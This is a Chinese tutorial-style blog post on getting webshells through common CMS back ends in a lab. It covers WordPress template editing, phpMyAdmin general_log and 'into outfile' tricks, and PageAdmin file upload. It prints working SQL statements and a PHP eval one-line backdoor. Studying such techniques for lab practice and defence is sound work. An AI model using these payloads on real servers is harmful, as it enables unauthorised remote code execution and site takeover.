常见的CMS漏洞

news2024/9/20 16:34:10

WordPress

      WordPress是⼀个以 PHP MySQL 为平台的 ⾃由开源 的博客软件和 内容管理系统 。WordPress具 有插件架构和模板系统。截⾄2018年4⽉,排名前1000万的⽹站中超过30.6%使⽤WordPress。
WordPress是最受欢迎的⽹站 内容管理系统 。全球有⼤约30%的⽹站(7亿5000个)都是使用WordPress 架设⽹站的。WordPress是⽬前 因特⽹ 上最流⾏的博客系统。WordPress在最著名的⽹络发布阶段中脱 颖⽽出。如今,它被使⽤在超过7000万个站点上。

1.后台修改模板拿WebShell

在wordpress的模板中我们可以通过修改模板中的404.php文件,在内容中添加一句话木马,保存后即可访问并拿到shell

添加后点击更新文件,然后访问ip/wp-content/themes/GeneratePress/404.php,即可直接连接

PhpMyadmin

1.通过⽇志⽂件拿Shell 利⽤mysql⽇志⽂件写shell。

这个⽇志可以在mysql⾥改变它的存放位置,登录phpmyadmin可以修改 这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取⼀个webshell 。

首先登陆进去后点击sql

运行sq语句show global variables like '%general%';即可查看日志文件的开启状态,这里是off,代表着没开启,我们需要先将其开启

利用语句set global general_log='on';将其设为开启

然后利用'set global general_log_file = 'E:/phpstudy_pro/WWW/233.php'可以修改日志保存文件,我们这里将其保存为网站根目录下的233.php文件,然后再次去show global variables like '%general%'以确认我们的修改生效了,修改成功后,日志文件的后缀就被修改成了php,那么其中的php语句就会被运行

直接查询一个一句话木马select “<?php eval($_POST[’cmd’]);?>”;这样日志文件中就会有这个一句话木马的字样,我们去访问日志文件后,就可以进行连接获取shell

2.通过SQL语句拿webshell ⽤ into outfile 把后⻔写到⽹站⽬录上。

首先我们查询确定一下数据库的位置,利用语句 select @@basedir;查到数据库位置后,就可以大概猜测一下网站的根目录,一般www目录在phpstudt_pro下,是Extensions的同级目录

然后我们就可以利用into outfile语句给它网站根目录下写一句话木马了,构造语句如下

select "<?php @eval($_POST['cmd']); ?>" into outfile 'E:/phpstudy_pro/WWW/2233.php';

然后直接去访问这个文件,并用蚁剑连接

3.过滤 into outfile

如果过滤了第⼀种的图形化操作,那么我们可以用另一种方法,在变量中搜索gen

这里可以直接修改日志的启用状态和后缀,修改后,剩下的步骤就与1中一样了

Pageadmin

PageAdmin CMS系统是基于.Net的⽹站管理系统,安全、稳定、灵活,全国⽤户超过百万,致⼒于为
企业、学校、政府⽹站建设和⽹站制作提供企业级内容管理系统解决⽅案。
进入靶场后台后点击应用,插件安装,这里可以上传压缩包。但是因为我们这里是未授权版本,无法上传压缩包,如果是授权版本就可以成功上传了

靶场中,我们可以在工具里面的文件管理中上传文件

首先我们需要写一个一句话木马,用asp语言,我这里选择直接用哥斯拉生成

将其1.asp压缩后上传,就可以在文件中看到我们上传的文件了

点击解压即可将其解压出来,然后访问,并用蚁剑成功连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1974644.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用 宝塔面板 部署 springboot 和 vue

宝塔面板 部署 spring boot 和 vue 教程 代码仓库&#xff1a;还没弄 网站介绍 仿照别人项目做了个基于 springboot 和 vue 的网站&#xff0c;在腾讯云服务器上&#xff0c;通过 宝塔面板 部署了该项目。 项目的技术栈&#xff1a;Vue3、Vite5、Axios、Element Plus、Wange…

常回家看看之fastbin_attack

常回家看看之fastbin_attack 原理分析 fastbin属于小堆块的管理&#xff0c;这里说的fastbin_attack大多指glibc2.26之前的手法&#xff0c;因为自glibc2.26以后&#xff0c;glibc迎来了一位新成员tcachebin&#xff0c;它减少了堆的开销&#xff0c;使堆管理变得迅速而高效&…

【Android】安卓四大组件之ContentProvider知识总结

文章目录 Uri介绍组成 ContentResolver用法获取对象增删改查读取联系人获取权限配置ListView ContentProvider方法步骤1、注册2、继承onCreateUriMatcherinsertdeleteupdatequerygetType ContentProvider与ContentResolver Uri 介绍 统一资源标识符&#xff08;URI&#xff09…

nacos服务注册流程

一、客户端自动注册实例流程 1.首先客户端需要引入服务发现包 <groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId><version>2.2.6.RELEASE</version> 2. NacosServiceRegist…

Linux中,MySQL存储引擎

存储引擎 在数据库中保存的是一张张有着千丝万缕关系的表&#xff0c;所以表设计的好坏&#xff0c;将直接影响着整个数据库。而在设计表的时候&#xff0c;最关注的一个问题是使用什么存储引擎。 MySQL中的数据用各种不同的技术存储在文件(或者内存)中。这些技术中的每一种都…

【书生大模型实战营第三期 | 入门岛第1关-Linux基础知识】

学习心得&#xff1a;掌握InternStudio开发机与Linux基础 摘要 通过阅读这份详尽的InternStudio开发机与Linux基础教程&#xff0c;我对如何在云端算力平台上进行开发工作有了初步的了解。学习过程中&#xff0c;我不仅掌握了SSH远程连接和端口映射的技巧&#xff0c;还对Lin…

将后台传来的数据,转成easyui-tree所需格式

easyui 中文文档 EasyUI Tree组件需要一个包含特定属性&#xff08;如id, text, children等&#xff09;的JSON对象数组来初始化。 而后台返回的数据&#xff0c;它可能不是我们直接能拿来用的。 方式一&#xff1a;使用loadFilter函数处理来自Web Services的JSON数据。 $(#…

虚拟机处理yum缓存堆积问题

虚拟机处理yum缓存堆积问题 场景&#xff1a;虚拟机用的时间长了&#xff0c;网络不好&#xff0c;yum显示无法安装。此时我们因考虑到Yum软件包管理器的仓库配置文件地方对方太多而导致的问题。 解决方案&#xff1a; 一&#xff1a;首先检查虚拟机设置&#xff1a;确保设备…

东方古全艺藏委八一画展翰墨抒真情,当代艺术家挥笔颂军魂

在2024年这个意义非凡的夏日&#xff0c;随着“八一”建军节的脚步日益临近&#xff0c;一场旨在铭记历史、颂扬英雄、传承精神的书画盛宴——“中国东方文化研究会艺术品收藏交流委员会书画中心”举办的纪念中国人民解放军建军 97 周年书画邀请展&#xff0c;于8月1日在北京饭…

PTA—基础编程题目集(7-19)

7-19 支票面额 目录 题目描述 输入格式&#xff1a; 输出格式&#xff1a; 输入样例1&#xff1a; 输出样例1&#xff1a; 输入样例2&#xff1a; 输出样例2&#xff1a; 参考代码 总结 题目描述 一个采购员去银行兑换一张y元f分的支票&#xff0c;结果出纳员错给了…

Golang内存管理——堆分配

go语言的内存自动分配和回收的&#xff0c;因此内存的使用流程大致为&#xff1a;获取内存——分配内存——回收内存——再分配内存。 其中分配内存分为两方面&#xff0c;堆内存分配和栈内存分配&#xff0c;堆内存和栈内存是两种不同的分配方式&#xff0c;本篇文章主要是堆…

Leetcode刷题——9 基本数据结构(哈希表,并查集)

注&#xff1a;以下代码均为c 1. 哈希表 1.1 重复的DNA序列 什么数据结构既可以保存数据又可以计数&#xff1a;哈希表 vector<string> findRepeatedDnaSequences(string s) {unordered_map<string, int> hash;vector<string> ans;for(int i 0; i 10 &l…

Docker部署RabbitMQ指南

1. Rabbit概述 RabbitMQ是基于Erlang语言开发的开源消息通信中间件&#xff0c;官方地址&#xff1a;https://www.rabbitmq.com/。 2. 单机部署 我们在CentOS7虚拟机中使用Docker来安装。 2.1 下载镜像 方式一&#xff1a;在线拉取 docker pull rabbitmq:3-management 方…

Linux 内核源码分析---文件系统关联与字符设备操作

文件系统关联 设备文件都是由标准函数处理&#xff0c;类似于普通文件。设备文件也是通过虚拟文件系统来管理的&#xff0c;和普通文件都是通过完全相同的接口访问。 inode 中设备文件的成员数据 虚拟文件系统每个文件都关联到一个 inode&#xff0c;用于管理文件的属性。 …

RIP、OSPF 协议详解 / Stub/Totally Stub/NSSA/Totally NSSA 区域测试

注&#xff1a;原出处 https://javaforall.cn/204275.html 图片已挂。下文来自 腾讯云 全栈君 RIP、OSPF 协议详解 1、路由协议简介 在互联网中&#xff0c;一个自治系统 (AS) 是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。这个网络单位可以是一个简单的网络…

我们如何提高 Baklib 的 SEO 性能

搜索引擎已经成为我们日常生活中不可或缺的一部分&#xff1b;谷歌甚至成为英语中的动词。因此&#xff0c;每个企业都需要关注其搜索引擎排名。在 Baklib&#xff0c;我们最近遇到了 SEO 排名的挑战。因此&#xff0c;在我们讨论这个问题之前&#xff0c;让我们先了解一下爬行…

宠物空气净化器可以除毛吗?室内浮毛空气净化器推荐

家里养了5只猫&#xff0c;满天飞的猫毛发&#xff0c;随风飘到各个角落&#xff0c;可以说苦不堪言。真的不建议养猫&#xff0c;除非你能接受空气中飞舞着浮毛&#xff0c;衣服、床、筷子、鼻子里全都是猫毛&#xff0c;拉臭臭有异味等等。感觉到处都被猫毛覆盖了&#xff0c…

【多线程】线程状态与并发三大特性的细节剖析

这篇文章主要用于对于多线程的一些查缺补漏。 一、 线程的状态 1&#xff0c;操作系统层面&#xff0c;线程的5种状态 关于线程有几种状态&#xff0c;有多种说法&#xff0c;5、6、7都有。 首先对于操作系统来说&#xff0c;只有5种状态&#xff0c;状态如下新建&#xff…

mac|安装hashcat(压缩包密码p解)

一、安装Macports&#xff08;如果有brew就不用这一步&#xff09; 根据官网文档&#xff1a;The MacPorts Project -- Download & Installation&#xff0c;安装步骤如下 1、下载MacPorts&#xff0c;这里我用的是tar.gz &#xff0c;可以通过keka&#xff08;keka安装在…

《pygame游戏开发实战指南》第三节 理解pygame中的坐标体系

pygame中的坐标体系非常的简单&#xff0c;其实就是一句话&#xff1a;任何对象的左上角都为坐标原点(0, 0)&#xff0c;向右为X轴正方向&#xff0c;向下为Y轴正方向。如下图所示。本节主要通过一些示例来带大家理解这一句话。如果读者已经理解的话&#xff0c;可以直接跳过这…